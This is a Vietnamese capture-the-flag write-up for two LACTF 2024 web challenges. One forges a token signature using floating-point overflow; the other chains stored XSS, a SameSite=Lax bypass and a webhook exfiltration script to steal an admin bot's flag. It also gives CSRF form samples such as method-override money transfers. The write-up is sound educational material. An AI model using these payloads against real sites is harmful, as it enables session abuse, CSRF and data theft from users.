# LACTF 2024
### 1.jason-web-token (62 Solves)
#### Summary
```With all this hype around jwt, I decided to implement jason web tokens to secure my OWN jason fan club site. Too bad its not in haskell.```
Website: jwt.chall.lac.tf
Source: https://chall-files.lac.tf/uploads/4462741e4e5ad485b12e6cffff7b9bd6c9cbcbbcafefa4bc69aa37f0531fdfcc/jwt.zip
#### Recon

Trang web cung cấp cho chúng ta việc tạo và lưu `jason web tokens` tại cookie bằng cách truyền hai input `username` và `age`
Lúc này `jason web tokens` có dạng như sau:

```
7b22757365726e616d65223a20226c316e78316e222c2022616765223a2032352c2022726f6c65223a202275736572222c202274696d657374616d70223a20313730383332373733307d.d780b7efc6ce6fd80e0c5eb3d8026ee93f249db4d5517c3ad0a2aef43d787d03
```
Đến đây chưa có một hướng khai thác cụ thể nào, ta hãy đi sâu vào source code để xem việc tạo `jason web tokens` cùng với việc lấy được flag.
Có hai phân chính ta cần tập trung vào ở đây bao gồm `auth.py` và `app.py`
Tại `auth.py` là có thể thấy được logic trong việc tạo `jason-web-tokens`:
```
# auth.py
import hashlib
import json
import os
import time
secret = int.from_bytes(os.urandom(128), "big")
hash_ = lambda a: hashlib.sha256(a.encode()).hexdigest()
class admin:
username = os.environ.get("ADMIN", "admin-owo")
age = int(os.environ.get("ADMINAGE", "30"))
def create_token(**userinfo):
userinfo["timestamp"] = int(time.time())
salted_secret = (secret ^ userinfo["timestamp"]) + userinfo["age"]
data = json.dumps(userinfo)
return data.encode().hex() + "." + hash_(f"{data}:{salted_secret}")
def decode_token(token):
if not token:
return None, "invalid token: please log in"
datahex, signature = token.split(".")
data = bytes.fromhex(datahex).decode()
userinfo = json.loads(data)
salted_secret = (secret ^ userinfo["timestamp"]) + userinfo["age"]
if hash_(f"{data}:{salted_secret}") != signature:
return None, "invalid token: signature did not match data"
return userinfo, None
```
Chú ý đến hàm `create_token`, có vẻ token được tạo ra bằng cách encode phần `data` ta truyền vào dưới dạng hex sau đó sử dụng hàm băm `sha256` để mã hóa phân data này với `salted_secret`, ở đây `salted_secret` giống như một signature xác thực được tạo thông qua việc xor giữa `timestamp = int(time.time())` với một giá trị `secret` được tạo ra từ `int.from_bytes(os.urandom(128), "big")` cộng với giá trị age do chúng ta truyền vào
Tiếp tục đến với `app.py`
```
from pathlib import Path
from fastapi import Cookie, FastAPI, Response
from fastapi.responses import HTMLResponse
from fastapi.staticfiles import StaticFiles
from pydantic import BaseModel
import auth
app = FastAPI()
app.mount("/static", StaticFiles(directory="static"), name="static")
flag = (Path(__file__).parent / "flag.txt").read_text()
index_html = lambda: (Path(__file__).parent / "index.html").read_text()
class LoginForm(BaseModel):
username: str
age: int
@app.post("/login")
def login(login: LoginForm, resp: Response):
age = login.age
username = login.username
if age < 10:
resp.status_code = 400
return {"msg": "too young! go enjoy life!"}
if 18 <= age <= 22:
resp.status_code = 400
return {"msg": "too many college hackers, no hacking pls uwu"}
is_admin = username == auth.admin.username and age == auth.admin.age
token = auth.create_token(
username=username,
age=age,
role=("admin" if is_admin else "user")
)
resp.set_cookie("token", token)
resp.status_code = 200
return {"msg": "login successful"}
@app.get("/img")
def img(resp: Response, token: str | None = Cookie(default=None)):
userinfo, err = auth.decode_token(token)
if err:
resp.status_code = 400
return {"err": err}
if userinfo["role"] == "admin":
return {"msg": f"Your flag is {flag}", "img": "/static/bplet.png"}
return {"msg": "Enjoy this jason for your web token", "img": "/static/aplet.png"}
@app.get("/", response_class=HTMLResponse)
def index():
return index_html()
```
Ở đây ta có thể thấy để lấy được flag, việc cần làm bây giờ ta cần chuyển được `user[role]` là `admin`, flag lúc này sẽ nằm ở endpoint `/img`. Tuy nhiên để có thể đặt `role` là `admin`, ta cần phải biết được `username` cũng như giá trị `age` của `admin` :
```
is_admin = username == auth.admin.username and age == auth.admin.age
```
Chúng ta có thể thấy việc này khá khó vì ta không có thông tin gì được cung cấp từ source code vậy khả năng duy nhất ở đây là cần tạo ra một đoạn `jason-web-tokens` mới với việc đổi giá trị `role` trong `userinfo` trở thành `admin`. Quay trở lại với `auth.py` để ta có thể thay đổi được được value của `userinfo` song song với đó ta cũng phải bypass qua signature được mã hóa thông qua [sha256](https://en.wikipedia.org/wiki/SHA-2). Ở đây ta có thể thấy được ta dễ dàng có thể được hai giá trị được sử dụng trong việc create `salted_secret` là `timestamp` và `age`
```
salted_secret = (secret ^ userinfo["timestamp"]) + userinfo["age"]
```
Mình tự hỏi liệu có thể reverse lại được secret được hay không tuy nhiên vì `sha256` là hàm một chiều ta gần như rất khó để có thể attack được key. Việc bruteforce giá trị của `secret` là khá viển vông bởi vì range của nó quá lớn lên tới 128^128. Vậy thì câu trả lời bây giờ là hai `controlled input` là `timestamp` và `age`. Câu hỏi bây giờ là liệu có cách nào create được một giá trị `salted_secret` cố định hay không, lúc này dù giá trị của `secret` có thay đổi thì ta vẫn dễ dàng tạo ra một signature do ta tùy ý thay đổi.
##### Floating Point Arithmetic Issues
Trong Python, "Floating Point Arithmetic" (Số thực dấu chấm động) là cách thức mà máy tính thực hiện các phép toán trên các số thực dưới dạng dấu chấm động (float), tức là các số có thể có cả phần nguyên và phần thập phân. Trong lập trình, các số thực được biểu diễn dưới dạng số thực dấu chấm động theo tiêu chuẩn IEEE 754.
Tuy nhiên, do cách biểu diễn số thực trong máy tính có hạn chế về độ chính xác, nên trong một số trường hợp, việc thực hiện các phép toán trên số thực có thể dẫn đến sự mất mát độ chính xác. Điều này thường được gọi là "Floating Point Arithmetic Issues" (vấn đề về số thực dấu chấm động), và có thể gây ra các lỗi như tràn số (overflow), tròn sai số (round-off errors), hoặc sự không chính xác trong các phép so sánh.
Ta hãy lấy ví dụ

Rõ ràng ta thấy 0.2 + 0.1 = 0.3 nhưng tại sao khi thực hiện so sánh nó lại trả về là `False` thực tế trong python, 0.1 không chính xác là 0.1 mà nó chính xác là khoảng `0.1000000000000000055511151231257827021181583404541015625`. Thật kì lạ, khi mình thực hiện so sánh
```
print(0.1000000000000000055511151231257827021181583404541015625 == 0.1)
# True
```
Nó lại trả về `True` điều này giải thích phép so sánh nêu trên trả về `False`.
Thực tế thì các số 0.1, 0.10000000000000001 và 0.1000000000000000055511151231257827021181583404541015625 đều được gần đúng bởi phân số 3602879701896397 / 2 ** 55. Vì tất cả các giá trị thập phân này đều chia sẻ cùng một xấp xỉ, nên bất kỳ một trong số chúng có thể được hiển thị trong khi vẫn giữ nguyên biểu diễn eval(repr(x)) == x.
Lịch sử, trong dấu nhắc Python và hàm built-in repr(), Python sẽ chọn giá trị có 17 chữ số có ý nghĩa, tức là 0.10000000000000001. Từ Python 3.1 trở đi, Python (trên hầu hết các hệ thống) hiện có thể chọn giá trị ngắn nhất trong số này và đơn giản là hiển thị 0.1.
Một điều thú vị là nó cũng xảy ra với những giá trị rất lớn như 2e1000
```
>>> print(2e1000 == 2e1000 + 1000000000000)
True
```
Trong biểu thức này, 2e1000 đại diện cho số lớn 2 nhân với 10 mũ 1000, tức là 2 nhân với 1 và sau đó cộng với 1000 số 0. Điều này tạo ra một số vô cùng lớn.
Trong khi đó, 2e1000 + 1000000000000 là kết quả của việc cộng số vô cùng lớn với một tỷ lệ đủ nhỏ không làm thay đổi giá trị lớn này.
Tuy nhiên, trong Python (cũng như trong hầu hết các ngôn ngữ lập trình), khi số vô cùng lớn được biểu diễn dưới dạng số thực dấu chấm động, thì việc cộng thêm một số nhỏ không đủ để làm thay đổi giá trị lớn này thường không được quan tâm, và kết quả cuối cùng vẫn được coi là bằng nhau. Điều này có thể hiểu được khi ta nhận ra rằng sự chênh lệch giữa các số thực rất lớn và các số thực rất nhỏ có thể bị bỏ qua khi tính toán trong số thực dấu chấm động
Vậy câu hỏi của chúng ta ban đầu đã được giải quyết với việc áp dụng cách nêu trên ta dễ dàng có thể tạo ra một giá trị `salted_secret` không đổi bằng cách truyền age với value là `2e1000`
#### Exploit
```
import hashlib
hash_ = lambda a: hashlib.sha256(a.encode()).hexdigest()
data = '{"username": "vow", "age": 2e1000, "role": "admin", "timestamp": 1708287014}'
salted_secret = 2e1000
jwt = data.encode().hex() + "." + hash_(f"{data}:{salted_secret}")
print(jwt)
# 7b22757365726e616d65223a2022766f77222c2022616765223a203265313030302c2022726f6c65223a202261646d696e222c202274696d657374616d70223a20313730383238373031347d.7d3fb68764ae73537448abbebffabf5c0888c5b9a3b944bf671908bf687e946d
```
##### Result

### 2.ctf-wiki (38 solves)
#### Summmary
I am such a huge fan of CTF players that I decided to create a wiki with some of my favorites! Hopefully, none of them hack it. ;D
ctf-wiki.chall.lac.tf
[Admin Bot](https://admin-bot.lac.tf/ctf-wiki)
#### Recon
Đọc mô tả ta có thể dễ dàng xác định đây là một challenge XSS.
Hãy xem trang web được cung cấp là gì nào

Trang web cung cáp cho chúng ta việc thêm sửa xóa thông tin
của CTFer cũng như việc tìm kiếm thông tin của các CTFer khác mình đoán ở đây phần `Description` ở đây ta có thể trigger được XSS.

Tuy nhiên rõ ràng là ta không thể thực thi được vì 2 lý do.
```
from flask import Flask, render_template, request, session, redirect, url_for
import os
import secrets
from functools import cache
from markdown import markdown
import psycopg2
import urllib.parse
app = Flask(__name__)
app.secret_key = (os.environ.get("SECRET_KEY") or '_5#y2L"F4Q8z\n\xec]/').encode()
app.config["SESSION_COOKIE_SAMESITE"] = "Lax"
@cache
def get_database_connection():
db_user = os.environ.get("POSTGRES_USER")
db_password = os.environ.get("POSTGRES_PASSWORD")
db_host = "db"
connection = psycopg2.connect(user=db_user, password=db_password, host=db_host)
return connection
with app.app_context():
with open("setup.sql", "r") as f:
setup_sql = f.read()
conn = get_database_connection()
with conn.cursor() as curr:
curr.execute(setup_sql)
conn.commit()
@app.after_request
def apply_csp(response):
if session.get("username") is not None and session.get("password") is not None:
response.headers[
"Content-Security-Policy"
] = "default-src 'self'; img-src *; font-src https://fonts.gstatic.com https://fonts.googleapis.com; style-src 'self' https://fonts.googleapis.com"
return response
@app.get("/")
@app.get("/index")
@app.get("/home")
def index():
query = request.args.get("search")
conn = get_database_connection()
with conn.cursor() as curr:
if query is None:
curr.execute("SELECT * FROM ctfers WHERE searchable LIMIT 10 OFFSET 0")
else:
curr.execute(
"SELECT * FROM ctfers WHERE searchable AND (name ILIKE %s OR team ILIKE %s OR specialty ILIKE %s OR description ILIKE %s) LIMIT 10 OFFSET 0",
[f"%{query}%", f"%{query}%", f"%{query}%", f"%{query}%"],
)
ctfers = curr.fetchall()
return render_template("index.html", ctfers=ctfers, query=query)
@app.post("/search")
def search():
search = request.form.get("search")
return redirect("/?search=" + urllib.parse.quote_plus(search))
@app.get("/login")
def login_page():
if session.get("username") is not None and session.get("password") is not None:
return redirect("/")
error = request.args.get("error")
return render_template("login.html", error=error)
@app.post("/login")
def login():
username = request.form.get("username")
password = request.form.get("password")
if username is None or password is None:
return redirect(
"/login?error="
+ urllib.parse.quote_plus("Need both username and password.")
)
session["username"] = username
session["password"] = password
return redirect("/")
@app.get("/logout")
def logout():
session.pop("username", None)
session.pop("password", None)
return redirect("/")
@app.get("/view/<pid>")
def page(pid):
if session.get("username") is not None and session.get("password") is not None:
return redirect("/edit/{}".format(pid))
if pid is None:
return redirect(
"/404?error=" + urllib.parse.quote_plus("Need to specify a pid.")
)
conn = get_database_connection()
with conn.cursor() as curr:
curr.execute(
"SELECT name,image,team,specialty,website,description FROM ctfers WHERE id=%s LIMIT 1",
[pid],
)
ctfer = curr.fetchone()
if ctfer is None:
return redirect("/404?error=" + urllib.parse.quote_plus("CTFer not found."))
(name, image, team, specialty, website, description) = ctfer
content = markdown(description)
return render_template(
"view.html",
name=name,
image=image,
team=team,
specialty=specialty,
website=website,
description=content,
)
@app.get("/edit/<pid>")
def edit_page(pid):
if session.get("username") is None or session.get("password") is None:
return redirect("/view/{}".format(pid))
conn = get_database_connection()
with conn.cursor() as curr:
curr.execute(
"SELECT id,name,image,team,specialty,website,description,searchable FROM ctfers WHERE id=%s LIMIT 1",
[pid],
)
ctfer = curr.fetchone()
if ctfer is None:
return redirect("/create?error=" + urllib.parse.quote_plus("CTFer not found."))
(id, name, image, team, specialty, website, description, searchable) = ctfer
return render_template(
"edit.html",
id=id,
name=name,
image=image,
team=team,
specialty=specialty,
website=website,
description=description,
searchable=searchable,
pid=pid,
)
@app.post("/edit/<pid>")
def edit_api(pid):
if session.get("username") is None or session.get("password") is None:
return redirect("/view/{}".format(pid))
title = request.form.get("name")
image = request.form.get("image")
team = request.form.get("team")
specialty = request.form.get("specialty")
website = request.form.get("website")
description = request.form.get("description")
searchable = request.form.get("searchable") == "on"
if (
title is None
or image is None
or team is None
or specialty is None
or website is None
or description is None
):
return redirect(
"/edit/{}?error=".format(pid) + urllib.parse.quote_plus("Need all fields.")
)
conn = get_database_connection()
with conn.cursor() as curr:
curr.execute(
"UPDATE ctfers SET name=%s, image=%s, team=%s, specialty=%s, website=%s, description=%s, searchable=%s WHERE id=%s",
[title, image, team, specialty, website, description, searchable, pid],
)
return redirect("/view/{}".format(pid))
@app.get("/create")
def new_page():
error = request.args.get("error")
return render_template("create.html", error=error)
@app.post("/create")
def create_page():
title = request.form.get("name")
image = request.form.get("image")
team = request.form.get("team")
specialty = request.form.get("specialty")
website = request.form.get("website")
description = request.form.get("description")
searchable = request.form.get("searchable") == "on"
if (
title is None
or image is None
or team is None
or specialty is None
or website is None
or description is None
):
return redirect("/create?error=" + urllib.parse.quote_plus("Need all fields."))
conn = get_database_connection()
with conn.cursor() as curr:
id = secrets.token_hex(16)
curr.execute("SELECT id FROM ctfers WHERE id = %s", [id])
while curr.fetchone() is not None:
id = secrets.token_hex(16)
curr.execute("SELECT id FROM ctfers WHERE id = %s", [id])
curr.execute(
"INSERT INTO ctfers (id, name, image, team, specialty, website, description, searchable) VALUES (%s, %s, %s, %s, %s, %s, %s, %s) RETURNING id",
[id, title, image, team, specialty, website, description, searchable],
)
id = curr.fetchone()[0]
return redirect("/view/{}".format(id))
@app.delete("/delete/<pid>")
def delete_page(pid):
if session.get("username") is None or session.get("password") is None:
return redirect("/login?error=" + urllib.parse.quote_plus("Not logged in."))
conn = get_database_connection()
with conn.cursor() as curr:
curr.execute("DELETE FROM ctfers WHERE id = %s", [pid])
return redirect("/")
@app.post("/flag")
def flag():
adminpw = os.environ.get("ADMINPW") or "admin"
if session.get("password") != adminpw:
return redirect("/login?error=" + urllib.parse.quote_plus("Not the admin."))
flag = os.environ.get("FLAG") or "lactf{test-flag}"
return flag, 200
@app.errorhandler(404)
def page_not_found(_):
error = request.args.get("error") or "Page not found"
return render_template("404.html", error=error), 404
```
Đầu tiên ta có thể thấy việc đoạn code trên sử dụng
`app.config["SESSION_COOKIE_SAMESITE"] = "Lax"`
SameSite là một thuộc tính cookie được sử dụng để kiểm soát liệu cookie có được gửi trong các yêu cầu từ các trang web khác hay không. Nó giúp giảm thiểu nguy cơ của CSRF bằng cách hạn chế khả năng gửi cookie từ các trang web khác.
Áp Dụng:
1. SameSite=None:
Được sử dụng khi ứng dụng cần chia sẻ cookie với các trang web khác, chẳng hạn như khi tích hợp với một dịch vụ bên ngoài.
Đảm bảo rằng các yêu cầu từ các trang web khác vẫn được xử lý mà không cần người dùng thực hiện bất kỳ hành động nào.
Tuy nhiên, cần cân nhắc kỹ lưỡng để đảm bảo rằng không có lỗ hổng bảo mật nào được tạo ra.
2. SameSite=Strict:
Thường được sử dụng cho các cookie cần đảm bảo rằng chỉ được gửi từ cùng một trang web mà nó được thiết lập.
Đảm bảo rằng cookie không bị trộn lẫn giữa các trang web khác nhau, giảm thiểu nguy cơ của CSRF.
SameSite=Lax:
Là một sự kết hợp giữa SameSite=None và SameSite=Strict.
Cho phép cookie được gửi từ các trang web khác trong một số trường hợp nhất định như khi đến từ các liên kết từ các trang web bên ngoài, nhưng vẫn giữ được một số biện pháp bảo mật.
Ví Dụ:
###### SameSite=None:
Khi bạn tích hợp ứng dụng của mình với dịch vụ bên thứ ba như Facebook, nơi bạn muốn chia sẻ cookie đăng nhập của người dùng với Facebook để họ có thể đăng nhập vào ứng dụng của bạn từ Facebook.
###### SameSite=Strict:
Khi bạn cần đảm bảo rằng các yêu cầu chỉ được gửi từ cùng một nguồn mà cookie được thiết lập, ví dụ như trong quá trình xác thực người dùng.
###### SameSite=Lax:
Khi bạn muốn giữ một số tính linh hoạt nhất định cho việc chia sẻ cookie từ các trang web khác, nhưng vẫn giữ được một số biện pháp bảo mật.
Hãy đi sâu một chút vào việc sử dụng `SameSite = Lax`
```
SameSite=Lax is the default mode used when you don't explicitly specify a SameSite mode (this changed in 2019 as I'll discuss later). From the MDN documentation:
“Lax Means that the cookie is not sent on cross-site requests, such as on requests to load images or frames, but is sent when a user is navigating to the origin site from an external site (for example, when following a link).”
So Lax cookies are sent in all the same situations as Strict cookies, plus several additional scenarios.
SameSite=Lax cookies are sent
Lax cookies are sent for all the same scenarios as Strict:
You type the URL into the address bar and navigate directly to a site.
You refresh the page using the browser.
You follow a link to a page from within the same site.
You embed an iframe that is hosted on the same site (same domain and scheme)
You make an AJAX/fetch same-site request using JavaScript
In addition, Lax cookies are also sent for "top-level GET requests", that is, GET requests which change the URL in the navigation bar. That means they are additionally sent when:
You follow an <a> link to your site from a different domain.
A form embedded on another site sends data to your website using the GET action.
SameSite=Lax cookies are not sent
A form embedded on another site sends data to your website using POST. Lax (or Strict) cookies won't be included in the request.
A site on another domain makes an AJAX/fetch request using JavaScript to your site won't include Lax (or Strict) cookies.
If your site is embedded in an iframe on a site hosted on a different domain, your site won't receive any Lax (or Strict) cookies.
An image on your website is linked to directly in the src attribute of an <img> from another site.
SameSite=Lax cookie advantages
Using SameSite=Lax provides a moderate defence against CSRF attacks, as cookies are not included for requests that are considered "unsafe" (e.g. POST requests). Theoretically, that means that even if you have a CSRF vulnerability, an attacker should not be able to exploit it, as they can only take "safe" actions. Of course, that relies on you definitely not doing anything unsafe in GET requests, so it doesn't provide as much safety as Strict.
However, the big advantage of Lax cookies is that you can follow links to your website and remain logged in. This is a big improvement in user experience, and removes the additional complexity required to provide a nice UX when using Strict cookies.
SameSite=Lax cookie disadvantages
Aside from not being as secure as SameSite=Strict, there are still some scenarios that don't work with SameSite=Lax:
Some authentication mechanisms (e.g. OpenID Connect with response_mode=form_post) rely on cross-site form-posts, so you wouldn't be able to set SameSite=Lax for the authentication cookie in this case.
If you need your site to be embedded as an iframe in a cross-site way you won't be able to send cookies.
If you need cookies to be sent for cross-site AJAX requests you can't use SameSite=Lax.
```
Chúng ta hãy lấy ví dụ một chút về việc áp dụng `SameSite=Lax`
Chúng ta có 1 trang web đơn giản hiển thị tên username là abc

Bên trong trang web này có 1 chức năng là Change Your username dùng để đổi tên username, và mình đã sử dụng chức năng này rồi viết 1 đoạn mã như sau rồi đẩy lên 1 trang web khác. Khi người dùng vào trang web có chứa đoạn mã này thì `username` của trang `target` kia sẽ bị đổi thành `pwned`
```
<html>
<body>
<script>history.pushState('', '', '/')</script>
<form action="https://x-23.herokuapp.com/hi/settings.php" method="POST">
<input type="hidden" name="new_name" value="pwned" />
<input type="submit" value="Submit request" />
</form>
<script>
document.forms[0].submit();
</script>
</body>
</html>
```
[
](https://images.viblo.asia/abe8ae1e-bef1-4762-bdef-a5bffb4db5cd.gif)

Tuy nhiên nếu ta chuyển`SameSite=Lax` ta có thể ngăn chặn được exploit nêu trên


Vậy làm cách nào để ta có thể bypass qua việc sử dụng `SameSite=Lax`
##### SameSite Lax bypass via method override
Trong thực tế, servers không phải lúc nào cũng strict đối với các HTTP method nó nhận được từ một endpoint cho trước. Lại có những trường hợp `traditionally expect a form submission via a POST request`. Nếu những servers này employ Lax restrictions for session cookies của chúng- either explicitly or due to the default settings of the browser - Điều này dẫn đến việc chúng ta có thể trigger được thực thi CSRF attack via GET method
```
<script>
document.location = 'https://example.com/transfer?recipient=attacker&amount=1000';
</script>
```
Thâm chí khi ordinary GET requests are disallowed, một số frameworks cung cấp cho chúng ta rất nhiều mechanisms để có thể override the HTTP method stated in the request line. Lấy ví dụ, `the Symfony framework supports the _method parameter within forms. This parameter takes precedence over the usual method for routing decisions`
```
<form action="https://example.com/transfer" method="POST">
<input type="hidden" name="_method" value="GET">
<input type="hidden" name="recipient" value="attacker">
<input type="hidden" name="amount" value="1000">
</form>
```
The server is deceived into treating the POST request as a GET request demonstrating the principle of method override, and how it can be used to manipulate the server-side routing logic
##### SameSite Lax bypass via cookie refresh
Hãy lấy một ví dụ trong Portswigger Labs

Trang web này, khi ta ấn vào My account sẽ được chuyển hướng đến trang login dựa vào OAuth

Ấn sign-in sau đó check http history, ta thấy đối với các request có dạng GET /oauth-callback?code=... cookie đều sẽ được set nhưng bởi vì không chỉ định SameSite -> mang giá trị là Lax

Để khai thác CSRF, ta sẽ cần trigger POST top-level navigation trong vòng 2 phút kể từ khi cookie thay đổi (hoặc mới được cấp phát).
Một điểm nữa, khi ta ấn vào My-account, sẽ có một GET request đến /social-login, nếu session đối với OAuth server vẫn tồn tại thì luồng flow xác thực OAuth sẽ được tự động diễn ra, hay nói cách khác chỉ cần gửi GET request đến /social-login thì sau một vài giây cookie sẽ được set.
Vậy ý tưởng khai thác sẽ là, setup exploit server: một đoạn mã JS sử dụng window.open() để trigger GET /social-login -> cookie được set, sau đó vẫn ở exploit server lợi dụng setTimeout() function để CSRF change email. Sử dụng window.onclick để vượt qua cơ chế bảo vệ của trình duyệt
Setup exploit server

Quay trở lại với challenge này ta hãy chú ý đến phần route `/flag`
```
@app.post("/flag")
def flag():
adminpw = os.environ.get("ADMINPW") or "admin"
if session.get("password") != adminpw:
return redirect("/login?error=" + urllib.parse.quote_plus("Not the admin."))
flag = os.environ.get("FLAG") or "lactf{test-flag}"
return flag, 200
```
Để có thể lấy được flag servers sẽ check giá trị `adminpw` nằm ở session, nếu đúng nó sẽ trả về flag, tuy nhiên rõ ràng là ta không hề biết được `adminpw`, do đó mình đoán việc dùng `Admin Bot` nhằm mục đích này, ta chỉ cần tạo một form cho con bot trigger đến `/flag` sau đó có ta dễ dàng leak được flag đến một server do ta kiểm soát
```
<script>
let w = window.open('{url}/home');
w.document.write(`<form action="/flag" method="POST" id="flag-exploit"></form>`);
setTimeout(() => w.document.forms['flag-exploit'].submit(), 500);
setTimeout(() => fetch('{webhook}', {{ method: 'POST', mode: 'no-cors', body: JSON.stringify({{ content: w.document.body.innerHTML }})}}), 1500);
</script>
```
Tuy nhiên công việc của chúng ta chưa dừng lại ở đây. Hãy chú ý đến đoạn code còn sử dụng thêm cả CSP để filter XSS
```
@app.after_request
def apply_csp(response):
if session.get("username") is not None and session.get("password") is not None:
response.headers[
"Content-Security-Policy"
] = "default-src 'self'; img-src *; font-src https://fonts.gstatic.com https://fonts.googleapis.com; style-src 'self' https://fonts.googleapis.com"
return response
```
Câu hỏi bây giờ là làm sao ta vừa để có thể trigger được XSS, vừa có thể trigger được CSRF

Key idea ở đây đó là inside iframes SameSite=None cookies are sent nhưng
SameSite=Lax cookies thì lại không. Tuy nhiên, `window.open` loads cả `SameSite=None and
SameSite=Lax` cookies. Thông thường, nếu chúng ta cố gắng access data from cross frame hay
cross window,ta sẽ bị block bởi the Same-Origin Policy. Tuy nhiên, nếu the site
loaded with `window.open` and bên trong một iframe được sử dụng the same origin, thì ta có thể
`access the data from the iframe`. Lúc này chúng ta có thể run XSS payload within the unauthenticated context của
`iframe` and sau đó access the data từ `the authenticated context of the opened window`.
```
<iframe src="{payload_url}"></iframe>
```
#### Exploit
```
import requests
url = "https://ctf-wiki.chall.lac.tf"
# url = "http://localhost:1337"
webhook = "https://webhook.site/b4ae4b5a-42e3-477f-8c5d-0e4d1cb81d7a"
payload = f"""
<script>
let w = window.open('{url}/home');
w.document.write(`<form action="/flag" method="POST" id="flag-exploit"></form>`);
setTimeout(() => w.document.forms['flag-exploit'].submit(), 500);
setTimeout(() => fetch('{webhook}', {{ method: 'POST', mode: 'no-cors', body: JSON.stringify({{ content: w.document.body.innerHTML }})}}), 1500);
</script>
"""
session = requests.Session()
r = session.post(
f"{url}/login", data={"username": "pbrucla", "password": "password123"}
)
assert r.status_code == 200
r = session.post(
f"{url}/create",
data={
"name": "l1nx1n",
"image": "https://yt3.ggpht.com/2uI9wGi4-zKnF7aL300CMbeGkAfN3Y2Tz0rxxduLlYwZ8JJhyHuDlPGbD1rJ7PHYWPWT_f5L=s88-c-k-c0x00ffffff-no-rj",
"team": "l1nx1n",
"specialty": "web",
"website": "https://haha.com",
"description": payload,
},
)
assert r.status_code == 200
payload_url = r.url.replace("/edit/", "/view/")
leak = f"""
<!DOCTYPE html>
<html>
<head>
<title>Exploit - l1nx1n</title>
</head>
<body>
<iframe src="{payload_url}"></iframe>
</body>
</html>
"""
print("Created post:", payload_url)
with open("solve.html", "w") as f:
f.write(leak)
delete_url = payload_url.replace("/view/", "/delete/")
r = session.delete(delete_url)
assert r.status_code == 200
print("Deleted post:", delete_url)
```
